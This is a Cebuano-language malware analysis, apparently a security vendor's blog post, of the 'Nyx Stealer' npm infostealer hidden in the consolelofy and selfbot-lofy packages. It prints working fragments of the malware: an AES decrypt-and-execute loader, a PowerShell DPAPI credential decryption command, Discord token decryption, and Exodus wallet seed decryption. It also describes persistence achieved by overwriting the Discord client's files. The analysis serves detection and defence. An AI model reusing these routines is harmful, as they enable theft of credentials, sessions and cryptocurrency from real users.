TL; DR
Ang Grupo sa Panukiduki sa Seguridad sa Xygeni nakaila sa usa ka sopistikado nga kampanya sa npm infostealer nga gihatag pinaagi sa duha ka malisyosong pakete: consolelofy ug selfbot-lofy.
Ang pinakabag-ong bersyon (consolelofy@1.3.0) nag-embed og 216KB AES-encrypted payload nga mo-decrypt atol sa runtime ug mo-execute pinaagi sa vm.runInNewContext()Tungod kay ang malisyosong lohika hingpit nga na-encrypt, ang mga static scanner nga nagsalig sa string inspection dili makamatikod sa kinaiya niini hangtod sa oras sa pagpatuman.
Kung ma-decrypt na, ang payload, nga adunay internal nga brand Nyx Stealer, mga target:
- Mga token sa pag-authenticate sa Discord
- 50+ nga mga tindahan sa kredensyal sa browser
- 90+ nga mga extension sa cryptocurrency wallet
- Mga sesyon sa Roblox, Instagram, Spotify, Steam, Telegram, ug TikTok
- Pagpadayon sa kliyente sa desktop sa Discord
Ang tanang 20 ka bersyon sa duha ka pakete gitaho ug gikumpirma nga malisyoso.
Teknikal nga Kinatibuk-ang Pagtan-aw Niining npm Infostealer
Dili sama sa tradisyonal nga malware nga panahon sa pag-install, kini nga kampanya nagsalig sa usa ka runtime modelo sa dekripsiyon.
Adunay:
- Walay malisyoso
preinstallorpostinstallhooks - Walay klaro nga mga tawag sa network sa oras sa pag-install
- Walay lohika sa pagpang-ani sa kredensyal sa plaintext
Mo-aktibo ang payload kon ma-import ang module. Ang tibuok malisyosong lawas niini ma-encrypt ug makita lang sa memorya panahon sa runtime.
Kini nga disenyo espesipikong naglikay sa pag-detect atol sa pag-instalar sa pakete.
Giunsa Pagpatuman Kini nga npm Infostealer
Sa dili pa nato analisahon kung unsa ang gikawat sa Nyx Stealer, kinahanglan natong masabtan unsaon kini pagpatuman.
Ang malisyoso nga lohika sulod niining npm infostealer nagsunod sa usa ka makanunayon nga sumbanan:
Ang usa ka gamay nga loader mo-decrypt sa usa ka dako nga encrypted payload ug mo-execute niini nga dinamiko sulod sa usa ka Node.js VM context.
Tinuyo kini nga disenyo. Ang tig-atake wala magtago sa mga gamit luyo sa obfuscation lamang, sila hingpit nga pagtangtang sa malisyosong code gikan sa static visibility.
Modelo sa Pagpatuman sa Taas nga Lebel
Sa taas nga lebel, ang wrapper mobuhat ug upat ka butang:
- Nagkuha og AES key gikan sa usa ka hardcoded passphrase gamit ang SHA-256
- Mo-decrypt sa usa ka dako nga hex-encoded ciphertext gamit ang AES-256-CBC
- Ipatuman ang na-decrypt nga JavaScript gamit ang
vm.runInNewContext() - Naghatag og sandbox nga nagbutyag gihapon sa gamhanang mga runtime primitive
Sumaryo sa Kinauyokan nga Teknik
| component | Pag-configure / Bili |
|---|---|
| Algorithm | AES-256-CBC |
| Pagkuha sa Yawe | SHA-256 (passphrase) |
| Vector sa Pagsugod (IV) | 16 ka byte nga 0x00 |
| pagpatay | vm.runInNewContext(gi-decrypt, sandbox) |
Kritikal, ang sandbox moagi sa:
requireprocessBuffer- mga timer
- mga eksport sa modyul
Kini nagpasabot nga ang na-decrypt nga payload nagpabilin sa hingpit nga kapabilidad sa:
- Mga proseso sa pagpanganak
- Basaha ug isulat ang mga file
- Paghimo og mga tawag sa network
- Usba ang mga lokal nga aplikasyon
Dili kini usa ka restricted VM. Kini usa ka VM nga gigamit isip execution trampoline.
Sumbanan sa Pag-encrypt sa Runtime (Kinauyokan nga Mekanismo sa Pagpatuman)
Gamay ra ang loader.
Ang malisyosong lawas dili.
Sa ubos mao ang sumbanan sa pagpatuman nga makita sa sulod sa pakete:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Nganong Importante Kini
Ang gi-decrypt nga payload:
- ba dili anaa sa plaintext sulod sa npm package
- Dili makita sa yanong
grepo static string scanning - Mo-materialize lang sa memory atol sa runtime
- Nagpatuman uban ang kompletong kapabilidad sa Node runtime
Kini nga kombinasyon sa pagpatuman sa AES + VM usa ka lig-on nga timailhan sa pamatasan sa usa ka npm infostealer nga naningkamot sa paglikay sa static nga inspeksyon.
Sa laing pagkasulti:
Kon imong i-scan ang package source tree, wala kay makitang kawatan.
Makakita ka og decryptor.
Unsay Mahitabo Human sa Pag-decrypt
Kung mapatuman na, ang Nyx Stealer maglunsad og parallel data collection wave.
Wave 1: Pagkuha sa Kredensyal sa Browser
Ang malware:
- Nag-download og Python runtime gikan sa NuGet CDN
- Nag-instalar og mga librarya sa kriptograpiko
- Gikuha ang mga tindahan sa kredensyal nga nakabase sa Chromium
- Nag-decrypt sa mga sekreto nga gipanalipdan sa DPAPI
Imbis nga mag-compile sa mga native bindings, gigamit niini ang PowerShell aron direktang tawagan ang Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Kini nga pamaagi:
- Naglikay sa mga artifact sa compilation
- Naggamit ug lumad nga mga Windows crypto API
- Nagsagol sa mga gamit sa administrasyon
Kini usa ka OS-level credential decryption, dili scraping.
Wave 2: Pag-decrypt sa Token sa Discord
Ang kawatan nahibalo sa protocol. Nakasabot kini sa encrypted token format sa Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Dagayday sa Operasyon:
- Kuhaa ang master key gikan sa Discord
Local State - I-decrypt ang master key pinaagi sa DPAPI
- I-decrypt ang mga token blob sa AES-GCM
- I-validate ang mga token batok sa Discord API
- Pauswaga gamit ang Nitro, mga badge, impormasyon sa pagsingil
Dili kini generic credential dumping. Kini usa ka protocol-aware session hijacking.
Wave 3: Pag-target sa Cryptocurrency Wallet
Ang npm infostealer naglista sa:
- 90+ nga mga extension sa browser wallet
- 27 ka desktop wallet
- Mga agianan sa bugnaw nga pitaka
- Mga file sa liso sa Exodo
Pananglitan sa pagsulay sa pag-decrypt sa liso:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Kon molampos, ang pagkaguba sa pitaka diha-diha dayon ug dili na mabalik.
Kini nagrepresentar sa vector sa monetization nga adunay pinakataas nga balor sa kampanya.
Paglahutay pinaagi sa Discord Desktop Injection
Human sa pag-ani sa mga kredensyal, si Nyx Stealer misulay sa pagpadayon pinaagi sa pag-usab sa lokal Pagsabut kliyente.
Tumong:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Pagsunod-sunod sa Operasyon
Ang infostealer mohimo sa mosunod nga mga lakang:
- Tapuson ang nagdagan nga mga proseso sa Discord
- Pangitaa ang mga naka-install nga variant sa Discord (Stable, Canary, PTB)
- Mo-overwrite
discord_desktop_core/index.js - Nag-inject og webhook logic nga kontrolado sa tig-atake
- I-restart ang Discord
Kini nagsiguro nga ang umaabot nga mga sesyon sa Discord awtomatikong mopagawas sa mga bag-ong token sa pag-authenticate.
Importante, kini nga pagpadayon wala magsalig sa naka-iskedyul nga mga buluhaton o mga pagbag-o sa registry. Gigamit niini ang pagbag-o sa code sa lebel sa aplikasyon, usa ka mas tago nga pamaagi.
Bisan kung ang malisyosong npm package matangtang sa ulahi, ang Discord client magpabilin nga nakompromiso.
Teknikal nga Pagtandi: Lehitimong Selfbot batok sa npm Infostealer
| component | Lehitimong Librarya | Nyx npm Infostealer |
|---|---|---|
| encryption | Walay | Bug-os nga AES-encrypted nga payload |
| Runtime VM | Dili kinahanglan | vm.runInNewContext pagpatay |
| Pag-access sa Kredensyal | Discord API lamang | Browser, mga wallet, DPAPI |
| Mga Panggawas nga Pag-download | Dili | Pagdagan sa Python pinaagi sa NuGet |
| Paglahutay | Dili | Injeksyon sa kliyente sa Discord |
| monetization | Awtomasyon sa bot | Pagbaligya pag-usab sa kredensyal |
Ang encryption layer pa lang nakapahimulag na niini nga kampanya gikan sa usa ka tipikal nga open-source fork.
Ang usa ka lehitimong Discord selfbot walay rason nga i-encrypt ang tibuok codebase niini, gamiton ang PowerShell aron maka-access sa DPAPI, mag-download og external runtimes, o usbon ang internals sa desktop application. Kung makita kining mga kapabilidad sulod sa usa ka dependency nga nag-angkon nga maka-automate sa mga interaksyon sa Discord, ang architectural mismatch mahimong imposible nga ibaliwala.
Gikan sa punto sa imbestigasyon, kini nga npm infostealer nagbilin ug mga timailhan sa daghang mga lut-od. Bisan pa, ang labing kasaligan nga mga timailhan dili ang mga hardcoded nga URL o piho nga mga agianan sa file, tungod kay kini mahimong mausab taliwala sa mga bersyon. Hinuon, ang lig-on nga mga signal istruktural.
Sa lebel sa pakete, ang pinakakusog nga pulang bandila mao ang kombinasyon sa usa ka dako nga naka-encrypt nga payload ug usa ka runtime decryption wrapper nga diha-diha dayon mo-execute pinaagi sa vm.runInNewContext()Samtang ang encryption lamang dili kinaiyanhon nga makadaot, ang paggamit sa AES decryption nga gisundan sa dinamikong pagpatuman sa VM sulod sa usa ka Discord utility package usa ka talagsaon nga butang.
Sa lebel sa host, ang mga kadudahang sumbanan naglakip sa wala damha nga kalihokan sa pag-decrypt sa DPAPI, pag-uswag sa proseso gikan sa konteksto sa dependency sa Node.js, ug pag-usab sa mga lokal nga file sa aplikasyon nga dili gyud angay usbon sa mga librarya sa ikatulo nga partido. Ingon man usab, sa network layer, ang outbound webhook-style nga komunikasyon nga gisugdan sa usa ka dependency sa pag-uswag nagrepresentar sa laing makahuluganon nga anomalya.
Sa ato pa, ang detection surface dili usa ka timailhan sa kompromiso. Kini ang correlation sa encryption, runtime execution, credential access, ug persistence behavior nga nagpadayag sa hulga.
Pag-ila ug Pagpamenos gamit ang Xygeni
Kini nga npm infostealer nailhan ni Sayo nga Pasidaan sa Malware sa Xygeni (MEW) pinaagi sa layered behavioral correlation imbes nga simpleng signature matching.
Imbis nga mangita og nailhan nga malisyosong mga string, ang MEW nag-evaluate sa mga structural anomalies sa tibuok source tree. Niini nga kaso, ang detection mitumaw gikan sa convergence sa daghang mga signal: usa ka embedded AES decryption routine sa module entry point, diha-diha nga pagpatuman sulod sa usa ka VM context, ug usa ka klaro nga capability-to-intent mismatch.
Importante nga walay usa niini nga mga signal nga nagpamatuod sa malisyoso nga tuyo. Apan, kon analisahon nga magkauban, ilang gibutyag ang usa ka pagsulay sa pagtago sa runtime behavior. Kining layered nga pamaagi makapakunhod pag-ayo sa mga false positives samtang nag-ila sa mga hulga sa supply chain nga taas og pagsalig.
Dugang pa, kini nga kaso nagpakita kung ngano nga ang install-time inspection lamang dili igo. Ang malisyosong lohika wala magpuyo sa mga script sa lifecycle. Kini mo-aktibo lamang human ma-load ang module ug makita lamang kung ma-decrypt na sa memorya. Busa, ang epektibo nga depensa nanginahanglan og encryption-aware analysis, behavioral pattern recognition, ug padayon nga dependency monitoring lapas sa mga installation events.
Ang pagtangtang sa registry kay reaktibo. Ang runtime-aware nga pag-analisa kay pang-prebensiyon.
Ngano nga Importante Kini nga npm Infostealer
Ang Nyx Stealer nagrepresentar sa usa ka estruktural nga ebolusyon sa npm-based malware.
Sa kasaysayan, daghang malisyosong mga pakete ang nagsalig sa makita nga mga script sa oras sa pag-install o klaro nga mga endpoint sa exfiltration sa kredensyal. Sa kasukwahi, kini nga kampanya nag-encrypt sa payload niini, nag-defer sa pagpatuman ngadto sa runtime, naggamit sa lehitimong mga API sa operating system, ug nagtukod og persistence sulod sa mga kasaligang aplikasyon.
Tungod niini, ang tig-atake dili kinahanglan nga mopahimulos sa npm infrastructure mismo. Hinuon, ang pag-atake molampos tungod kay ang dependency installation nagpasabot og pagsalig. Ang mga developers nagtuo nga ang pag-import og library usa ka luwas nga operasyon, ilabi na kung kini nagpakita sa iyang kaugalingon isip usa ka posible nga fork sa usa ka sikat nga himan.
Samtang ang mga ekosistema nagpadayon sa pagtubo ug ang mga fork midaghan, kana nga implicit trust boundary nahimong usa ka madanihon nga attack surface. Busa, ang pagdepensa batok sa modernong npm infostealers nagkinahanglan og pag-ila sa mga architectural pattern imbes nga pagpangita sa static strings.
Sa katapusan, kini nga kampanya nagpalig-on sa usa ka kritikal nga leksyon sa software supply chain securityAng labing delikado nga mga hulga dili kadtong morag malisyoso sa unang tan-aw, apan kadtong morag lehitimo sa istruktura hangtod nga ang runtime magpadayag sa ilang tinuod nga pamatasan.




